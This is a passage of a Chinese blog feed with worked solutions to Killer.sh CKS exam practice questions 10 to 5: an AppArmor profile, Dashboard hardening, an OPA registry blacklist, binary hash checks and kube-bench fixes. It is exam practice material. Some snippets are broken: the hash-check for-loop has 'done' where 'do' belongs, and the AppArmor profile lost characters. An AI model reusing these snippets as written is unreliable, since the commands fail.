并把日志写入文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n team-purple get pod gvisor-test</span><br><span class="line">k -n team-purple <span class="built_in">exec</span> gvisor-test -- dmesg</span><br><span class="line">k -n team-purple <span class="built_in">exec</span> gvisor-test &gt; /opt/course/10/gvisor-test-dmesg -- dmesg</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/0b99f874aae20fa07565c3dce0ccd3ba2a33a6322382b711f8cb8de5be4e6d29.jpg" alt="sandbox-gVisor-1-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 9 | AppArmor Profile</title>
      <link href="/archives/kubernetes/CKS/AppArmor-2.html"/>
      <url>/archives/kubernetes/CKS/AppArmor-2.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 3%</p><p>Use context: <code>kubectl config use-context workload-prod</code></p><p>Some containers need to run more secure and restricted. There is an existing AppArmor profile located at <code>/opt/course/9/profil</code>e for this.</p><ol><li>Install the AppArmor profile on Node  <code>cluster1-node1</code> . Connect using  <code>ssh cluster1-node1</code> .</li><li>Add label <code>security=apparmor</code> to the Node</li><li>Create a Deployment named apparmor in Namespace <code>default</code> with:<ul><li>One replica of image <code>nginx:1.19.2</code></li><li>NodeSelector for <code>security=apparmor</code></li><li>Single container named <code>c1</code> with the AppArmor profile enabled</li></ul></li></ol><p>The Pod might not run properly with the profile enabled. Write the logs of the Pod into <code>/opt/course/9/logs</code> so another team can work on getting the application running.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：3%。</p><p>使用环境: <code>kubectl config use-context workload-prod</code></p><p>有些容器需要更安全地运行，并受到限制。在 <code>/opt/course/9/profile</code> 中有一个现有的AppArmor 配置文件，用于此。</p><ol><li>在node <code>cluster1-node1</code> 上安装 AppArmor 配置文件。使用 <code>ssh cluster1-node1</code> 连接。</li><li>在节点上添加标签 <code>security=apparmor</code></li><li>在名称空间 default 中创建一个名为 <code>apparmor</code> 的 Deployment ，其中包括。<ul><li>image 为 <code>nginx:1.19.2</code></li><li>NodeSelector 为 <code>security=apparmor</code></li><li>启用AppArmor配置 单一容器名为 <code>c1</code></li></ul></li></ol><p>启用配置文件后，Pod可能无法正常运行。将Pod的日志写入 <code>/opt/course/9/logs</code> ，这样另一个团队就可以努力让应用程序运行。</p><hr><h5 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h5><p><a href="https://kubernetes.io/docs/tutorials/clusters/apparmor">https://kubernetes.io/docs/tutorials/clusters/apparmor</a></p><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><h5 id="1"><a href="#1" class="headerlink" title="1"></a>1</h5><p>检查配置文件, 并把配置文件复制到要部署的节点</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /opt/course/9/profile</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /opt/course/9/profile </span></span><br><span class="line"></span><br><span class="line"><span class="comment">#include </span></span><br><span class="line"></span><br><span class="line"><span class="string">profile</span> <span class="string">very-secure</span> <span class="string">flags=(attach_disconnected)</span> &#123;</span><br><span class="line">  <span class="comment">#include </span></span><br><span class="line"></span><br><span class="line">  <span class="string">file</span>,</span><br><span class="line"></span><br><span class="line">  <span class="comment"># Deny all file writes.</span></span><br><span class="line">  <span class="string">deny</span> <span class="string">/`</span> <span class="string">w</span>,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">scp /opt/course/9/profile cluster1-node1:~/</span><br></pre></td></tr></table></figure><p>登陆cluster1-node1 进行部署 apparmor配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster1-node1</span><br><span class="line"></span><br><span class="line">apparmor_parser -q profile</span><br><span class="line">apparmor_status | grep very-secure <span class="comment">#检查是否正常</span></span><br></pre></td></tr></table></figure><h5 id="2"><a href="#2" class="headerlink" title="2"></a>2</h5><p>检查node标签,并给node打标签</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k label -h</span><br><span class="line">k get node --show-labels</span><br><span class="line">k label node cluster1-node1 security=apparmor</span><br></pre></td></tr></table></figure><h5 id="3"><a href="#3" class="headerlink" title="3"></a>3</h5><p>创建一个deploy 配置文件并进行编辑</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k create deploy apparmor --image=nginx:1.19.2 <span class="variable">$do</span> &gt; 9_deploy.yaml</span><br><span class="line"></span><br><span class="line">vim 9_deploy.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 9_deploy.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">apparmor</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">apparmor</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">apparmor</span></span><br><span class="line">  <span class="attr">strategy:</span> &#123;&#125;</span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">apparmor</span></span><br><span class="line">      <span class="attr">annotations:</span>                                                                 <span class="comment"># 添加</span></span><br><span class="line">        <span class="attr">container.apparmor.security.beta.kubernetes.io/c1:</span> <span class="string">localhost/very-secure</span>   <span class="comment"># 添加</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">nodeSelector:</span>                    <span class="comment"># 添加</span></span><br><span class="line">        <span class="attr">security:</span> <span class="string">apparmor</span>             <span class="comment"># 添加</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">nginx:1.19.2</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">c1</span>                       <span class="comment"># 更改</span></span><br><span class="line">        <span class="attr">resources:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p>创建deploy</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 9_deploy.yaml create</span><br></pre></td></tr></table></figure><p>检查调度情况和日志,已调度到对应节点,</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get pod -owide | grep apparmor</span><br><span class="line">k logs apparmor-85c65645dc-w852p</span><br><span class="line">k logs apparmor-85c65645dc-jbch8 &gt; /opt/course/9/logs</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/2f8b1b6133a1ee6f09abe0d76dec54f52b1fb6baf90a85fee3fa472f25ee6d11.jpg" alt="AppArmor-2-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 8 | Secure Kubernetes Dashboard</title>
      <link href="/archives/kubernetes/CKS/dashboard-sec.html"/>
      <url>/archives/kubernetes/CKS/dashboard-sec.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 3%</p><p>Use context: <code>kubectl config use-context workload-prod</code></p><p>The Kubernetes Dashboard is installed in Namespace <code>kubernetes-dashboard</code> and is configured to:</p><ol><li>Allow users to “skip login”</li><li>Allow insecure access (HTTP without authentication)</li><li>Allow basic authentication</li><li>Allow access from outside the cluster</li></ol><p>You are asked to make it more secure by:</p><ol><li>Deny users to “skip login”</li><li>Deny insecure access, enforce HTTPS (self signed certificates are ok for now)</li><li>Add the <code>--auto-generate-certificates</code> argument</li><li>Enforce authentication using a token (with possibility to use RBAC)</li><li>Allow only cluster internal access</li></ol><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：3%。</p><p>使用环境: <code>kubectl config use-context workload-prod</code></p><p>Kubernetes Dashboard 安装在命名空间 <code>kubernetes-dashboard</code> 中，并被配置为。</p><ol><li>允许用户 “跳过登录”。</li><li>允许不安全的访问（无认证的HTTP）。</li><li>允许基本认证</li><li>允许从集群外访问</li></ol><p>要求你通过以下方式使其更加安全。</p><ol><li>拒绝用户 “跳过登录”。</li><li>拒绝不安全的访问，强制执行HTTPS（自签名的证书目前还可以）。</li><li>添加–自动生成证书的参数</li><li>使用令牌强制认证（可以使用RBAC）。</li><li>只允许集群内部访问</li></ol><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>检查 命名空间 <code>kubernetes-dashboard</code></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n kubernetes-dashboard get pod,svc</span><br><span class="line">k get node -o wide</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/a1f4a8aad02a593accd6d4414fbb227c8c179b2816d12e001194ef65369dc5b2.jpg" alt="dashboard-sec-0"><br><img src="https://images.hao.kim/uploads/2024/12/aca99b7b1b4ad994f30983a3ae0d2fbf5094f905db44ffadedeea44e8bc40d2e.jpg" alt="dashboard-sec-1">  </p><p>修复: 备份 deploy 配置 后 进行编辑</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n kubernetes-dashboard get deploy kubernetes-dashboard -oyaml &gt; 8_deploy_kubernetes-dashboard.yaml</span><br><span class="line"></span><br><span class="line">k -n kubernetes-dashboard edit deploy kubernetes-dashboard</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">template:</span></span><br><span class="line">  <span class="attr">spec:</span></span><br><span class="line">    <span class="attr">containers:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">args:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">--namespace=kubernetes-dashboard</span>  </span><br><span class="line">      <span class="bullet">-</span> <span class="string">--authentication-mode=token</span>        <span class="comment"># 删除或设置为token</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">--auto-generate-certificates</span>       <span class="comment"># 添加</span></span><br><span class="line">      <span class="comment">#- --enable-skip-login=true          # 删除或设置为false</span></span><br><span class="line">      <span class="comment">#- --enable-insecure-login           # 删除</span></span><br><span class="line">      <span class="attr">image:</span> <span class="string">kubernetesui/dashboard:v2.0.3</span></span><br><span class="line">      <span class="attr">imagePullPolicy:</span> <span class="string">Always</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">kubernetes-dashboard</span></span><br></pre></td></tr></table></figure><p>备份 svc配置 后编辑</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n kubernetes-dashboard get svc kubernetes-dashboard -o yaml &gt; 8_svc_kubernetes-dashboard.yaml</span><br><span class="line"></span><br><span class="line">k -n kubernetes-dashboard edit svc kubernetes-dashboard</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"> <span class="attr">spec:</span></span><br><span class="line">  <span class="attr">clusterIP:</span> <span class="number">10.107</span><span class="number">.176</span><span class="number">.19</span></span><br><span class="line">  <span class="attr">externalTrafficPolicy:</span> <span class="string">Cluster</span>   <span class="comment"># delete</span></span><br><span class="line">  <span class="attr">internalTrafficPolicy:</span> <span class="string">Cluster</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">http</span></span><br><span class="line">    <span class="attr">nodePort:</span> <span class="number">32513</span>                <span class="comment"># delete</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">9090</span></span><br><span class="line">    <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">    <span class="attr">targetPort:</span> <span class="number">9090</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">https</span></span><br><span class="line">    <span class="attr">nodePort:</span> <span class="number">32441</span>                <span class="comment"># delete</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">443</span></span><br><span class="line">    <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">    <span class="attr">targetPort:</span> <span class="number">8443</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">k8s-app:</span> <span class="string">kubernetes-dashboard</span></span><br><span class="line">  <span class="attr">sessionAffinity:</span> <span class="string">None</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">ClusterIP</span>                  <span class="comment"># change or delete</span></span><br><span class="line"><span class="attr">status:</span></span><br><span class="line">  <span class="attr">loadBalancer:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p>验证: 新建一个容器进行模拟访问, curl -k 是忽略证书</p><p><img src="https://images.hao.kim/uploads/2024/12/2caf1735940def706c30391c00a5325ff97a472e6cd8462ab2d8bacc63442ccd.jpg" alt="dashboard-sec-2">  </p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k run tmp --image=nginx:1.19.2 --restart=Never --<span class="built_in">rm</span> -it -- bash</span><br><span class="line"></span><br><span class="line">curl https://kubernetes-dashboard.kubernetes-dashboard</span><br><span class="line">curl -k https://kubernetes-dashboard.kubernetes-dashboard</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/1d79bb304ce3943e017fd027efafd3ea11bb0533b465c680c2fc112b3ef84e74.jpg" alt="dashboard-sec-3">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 7 | Open Policy Agent</title>
      <link href="/archives/kubernetes/CKS/open-policy-agent.html"/>
      <url>/archives/kubernetes/CKS/open-policy-agent.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 6%</p><p>Use context: <code>kubectl config use-context infra-prod</code></p><p>The Open Policy Agent and Gatekeeper have been installed to, among other things, enforce blacklisting of certain image registries. Alter the existing constraint and&#x2F;or template to also blacklist images from  <code>very-bad-registry.com</code> .</p><p>Test it by creating a single Pod using image <code>very-bad-registry.com/image</code> in Namespace  <code>default</code> , it shouldn’t work.</p><p>You can also verify your changes by looking at the existing Deployment <code>untrusted</code> in Namespace  <code>default</code> , it uses an image from the new untrusted source. The OPA contraint should throw violation messages for this one.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：6%。</p><p>使用环境: <code>kubectl config use-context infra-prod</code></p><p><code>Open Policy Agent</code> 和 <code>Gatekeeper</code> 已安装，除其他外，强制将某些图像登记处列入黑名单。改变现有的 约束 和&#x2F;或 模板，将来自 <code>very-bad-registry.com</code> 的 images 也列入黑名单。</p><p>通过使用 <code>default</code> 名称空间的图像 <code>very-bad-registry.com/image</code> 创建一个单一pod来测试，它不应该工作。</p><p>你也可以通过查看 Namespace <code>default</code> 中现有的 Deployment <code>untrusted</code> 来验证你的变化，它使用了来自新的不可信任的来源的图像。OPA限制应该为这个问题抛出违规信息。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context infra-prod</span><br></pre></td></tr></table></figure><p>检查OPA约束</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get crd</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get constraint</span><br><span class="line">k edit constrainttemplates blacklistimages</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># kubectl edit constrainttemplates blacklistimages</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">templates.gatekeeper.sh/v1beta1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ConstraintTemplate</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line"><span class="string">...</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">crd:</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">names:</span></span><br><span class="line">        <span class="attr">kind:</span> <span class="string">BlacklistImages</span></span><br><span class="line">  <span class="attr">targets:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">rego:</span> <span class="string">|</span></span><br><span class="line"><span class="string">      package k8strustedimages</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="string">images</span> &#123;</span><br><span class="line">        <span class="string">image</span> <span class="string">:=</span> <span class="string">input.review.object.spec.containers</span>[<span class="string">_</span>]<span class="string">.image</span></span><br><span class="line">        <span class="string">not</span> <span class="string">startswith(image</span>, <span class="string">&quot;docker-fake.io/&quot;</span><span class="string">)</span></span><br><span class="line">        <span class="string">not</span> <span class="string">startswith(image</span>, <span class="string">&quot;google-gcr-fake.com/&quot;</span><span class="string">)</span></span><br><span class="line">        <span class="string">not</span> <span class="string">startswith(image</span>, <span class="string">&quot;very-bad-registry.com/&quot;</span><span class="string">)</span> <span class="comment">#添加这一行</span></span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="string">violation[&#123;&quot;msg&quot;:</span> <span class="string">msg&#125;]</span> &#123;</span><br><span class="line">        <span class="string">not</span> <span class="string">images</span></span><br><span class="line">        <span class="string">msg</span> <span class="string">:=</span> <span class="string">&quot;not trusted image!&quot;</span></span><br><span class="line">      &#125;</span><br><span class="line">    <span class="attr">target:</span> <span class="string">admission.k8s.gatekeeper.sh</span></span><br></pre></td></tr></table></figure><p>检查是否生效</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k run opa-test --image=very-bad-registry.com/image</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/25be1f8f87a40040a5dfeca4660a8b17d3bc252533f31224d3779ab48e9f4417.jpg" alt="open-policy-agent-0">  </p><p>过一段时间检查,另外两个pod已 被列为违规</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k describe blacklistimages pod-trusted-images</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/e8c04ca9293886bc8747f8e7f045d7890a4fcd919fc71954c7b5ff41df9fe666.jpg" alt="open-policy-agent-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 6 | Verify Platform Binaries</title>
      <link href="/archives/kubernetes/CKS/verify-binaries.html"/>
      <url>/archives/kubernetes/CKS/verify-binaries.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 2%</p><p>(can be solved in any kubectl context)</p><p>There are four Kubernetes server binaries located at  <code>/opt/course/6/binaries</code> . You’re provided with the following verified sha512 values for these:</p><p><code>kube-apiserver</code> f417c0555bc0167355589dd1afe23be9bf909bf98312b1025f12015d1b58a1c62c9908c0067a7764fa35efdac7016a9efa8711a44425dd6692906a7c283f032c</p><p><code>kube-controller-manager</code> 60100cc725e91fe1a949e1b2d0474237844b5862556e25c2c655a33boa8225855ec5ee22fa4927e6c46a60d43a7c4403a27268f96fbb726307d1608b44f38a60</p><p><code>kube-proxy</code> 52f9d8ad045f8eee1d689619ef8ceef2d86d50c75a6a332653240d7ba5b2a114aca056d9e513984ade24358c9662714973c1960c62a5cb37dd375631c8a614c6</p><p><code>kubelet</code> 4be40f2440619e990897cf956c32800dc96c2c983bf64519854a3309fa5aa21827991559f9c44595098e27e6f2ee4d64a3fdec6baba8a177881f20e3ec61e26c</p><p>Delete those binaries that don’t match with the sha512 values above.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务权重：2%</p><p>(可以在任何kubectl环境下解决)</p><p>有四个Kubernetes服务器二进制文件，位于 <code>/opt/course/6/binaries</code> 。你会得到以下这些经过验证的sha512值。</p><p><code>kube-apiserver</code> f417c0555bc0167355589dd1afe23be9bf909bf98312b1025f12015d1b58a1c62c9908c0067a7764fa35efdac7016a9efa8711a44425dd6692906a7c283f032c</p><p><code>kube-controller-manager</code> 60100cc725e91fe1a949e1b2d0474237844b5862556e25c2c655a33boa8225855ec5ee22fa4927e6c46a60d43a7c4403a27268f96fbb726307d1608b44f38a60</p><p><code>kube-proxy</code> 52f9d8ad045f8eee1d689619ef8ceef2d86d50c75a6a332653240d7ba5b2a114aca056d9e513984ade24358c9662714973c1960c62a5cb37dd375631c8a614c6</p><p><code>kubelet</code> 4be40f2440619e990897cf956c32800dc96c2c983bf64519854a3309fa5aa21827991559f9c44595098e27e6f2ee4d64a3fdec6baba8a177881f20e3ec61e26c</p><p>删除那些与上述sha512值不匹配的二进制文件。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>这是个送分题, 验证文件的hash值,删除不匹配的文件 可以把上面的哈希字符串 全部写入一个文件 hash.txt</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#hash.txt</span></span><br><span class="line"><span class="string">f417c0555bc0167355589dd1afe23be9bf909bf98312b1025f12015d1b58a1c62c9908c0067a7764fa35efdac7016a9efa8711a44425dd6692906a7c283f032c</span></span><br><span class="line"><span class="string">60100cc725e91fe1a949e1b2d0474237844b5862556e25c2c655a33boa8225855ec5ee22fa4927e6c46a60d43a7c4403a27268f96fbb726307d1608b44f38a60</span></span><br><span class="line"><span class="string">52f9d8ad045f8eee1d689619ef8ceef2d86d50c75a6a332653240d7ba5b2a114aca056d9e513984ade24358c9662714973c1960c62a5cb37dd375631c8a614c6</span></span><br><span class="line"><span class="string">4be40f2440619e990897cf956c32800dc96c2c983bf64519854a3309fa5aa21827991559f9c44595098e27e6f2ee4d64a3fdec6baba8a177881f20e3ec61e26c</span></span><br></pre></td></tr></table></figure><p>通过脚本方式进行批量匹配,hash匹配的文件会显示,没有匹配到的为hash更改的</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> `<span class="built_in">cat</span> hash.txt`;<span class="keyword">done</span> <span class="built_in">sha512sum</span> /opt/course/6/binaries/* | grep <span class="variable">$i</span> ; <span class="keyword">done</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/cf4227a1e3605e00c1e29a636c8441c85079e528fb6479405e0376620126d3ef.jpg" alt="verify-binaries-0">  </p><p>删除 文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">rm</span> -rf /opt/course/6/binaries/kube-controller-manager</span><br><span class="line"><span class="built_in">rm</span> -rf /opt/course/6/binaries/kubelet</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKS </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKS </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKS 模拟真题 Killer.sh | Question 5 | CIS Benchmark</title>
      <link href="/archives/kubernetes/CKS/kube-benc-2.html"/>
      <url>/archives/kubernetes/CKS/kube-benc-2.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 3%</p><p>Use context: <code>kubectl config use-context infra-prod</code></p><p>You’re ask to evaluate specific settings of cluster2 against the CIS Benchmark recommendations. Use the tool <code>kube-bench</code> which is already installed on the nodes.</p><p>Connect using <code>ssh cluster2-controlplane1</code> and  <code>ssh cluster2-node1</code> .</p><p>On the master node ensure (correct if necessary) that the CIS recommendations are set for:</p><ol><li>The <code>--profiling</code> argument of the kube-controller-manager</li><li>The ownership of directory <code>/var/lib/etcd</code></li></ol><p>On the worker node ensure (correct if necessary) that the CIS recommendations are set for:</p><ol start="3"><li>The permissions of the kubelet configuration <code>/var/lib/kubelet/config.yaml</code></li><li>The <code>--client-ca-file</code> argument of the kubelet</li></ol><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>任务重量：3%。</p><p>使用环境: <code>kubectl config use-context infra-prod</code></p><p>你被要求根据CIS Benchmark的建议来评估 cluster2 的具体设置。使用已经安装在各节点上的工具 <code>kube-bench</code> 。</p><p>使用 <code>ssh cluster2-controlplane1</code> 和 <code>ssh cluster2-node1</code> 连接。</p><p>在主节点上确保（必要时纠正）已按CIS建议进行设置。</p><ol><li>kube-controller-manager 的 <code>--profiling</code> 参数</li><li>目录 <code>/var/lib/etcd</code> 的权限</li></ol><p>在工作节点上，确保（如有必要，请纠正）已按CIS建议进行设置：。</p><ol><li>kubelet配置的权限 <code>/var/lib/kubelet/config.yaml</code></li><li>kubelet 的 <code>--client-ca-file</code> 参数</li></ol><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>对master进行检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster2-controlplane1</span><br><span class="line">kube-bench run --targets=master</span><br></pre></td></tr></table></figure><h5 id="1"><a href="#1" class="headerlink" title="1"></a>1</h5><p>通过关键字进行查找</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kube-bench run --targets=master | grep <span class="string">&quot;kube-controller-manager&quot;</span> -A 3</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/73649fee3420b2da65f26c9287cd1e1abef3818ad2b186da4ba9e8f0d748d743.jpg" alt="kube-benc-2-0">  </p><p>编辑配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /etc/kubernetes/manifests/kube-controller-manager.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /etc/kubernetes/manifests/kube-controller-manager.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">component:</span> <span class="string">kube-controller-manager</span></span><br><span class="line">    <span class="attr">tier:</span> <span class="string">control-plane</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">kube-controller-manager</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">kube-system</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">command:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">kube-controller-manager</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--allocate-node-cidrs=true</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--authentication-kubeconfig=/etc/kubernetes/controller-manager.conf</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--authorization-kubeconfig=/etc/kubernetes/controller-manager.conf</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--bind-address=127.0.0.1</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--client-ca-file=/etc/kubernetes/pki/ca.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--cluster-cidr=10.244.0.0/16</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--cluster-name=kubernetes</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--cluster-signing-key-file=/etc/kubernetes/pki/ca.key</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--controllers=*,bootstrapsigner,tokencleaner</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--kubeconfig=/etc/kubernetes/controller-manager.conf</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--leader-elect=true</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--node-cidr-mask-size=24</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--port=0</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--root-ca-file=/etc/kubernetes/pki/ca.crt</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--service-account-private-key-file=/etc/kubernetes/pki/sa.key</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--service-cluster-ip-range=10.96.0.0/12</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--use-service-account-credentials=true</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">--profiling=false</span>            <span class="comment"># 添加</span></span><br></pre></td></tr></table></figure><p>pod重新运行以后 再次进行检查,已经修复</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kube-bench run 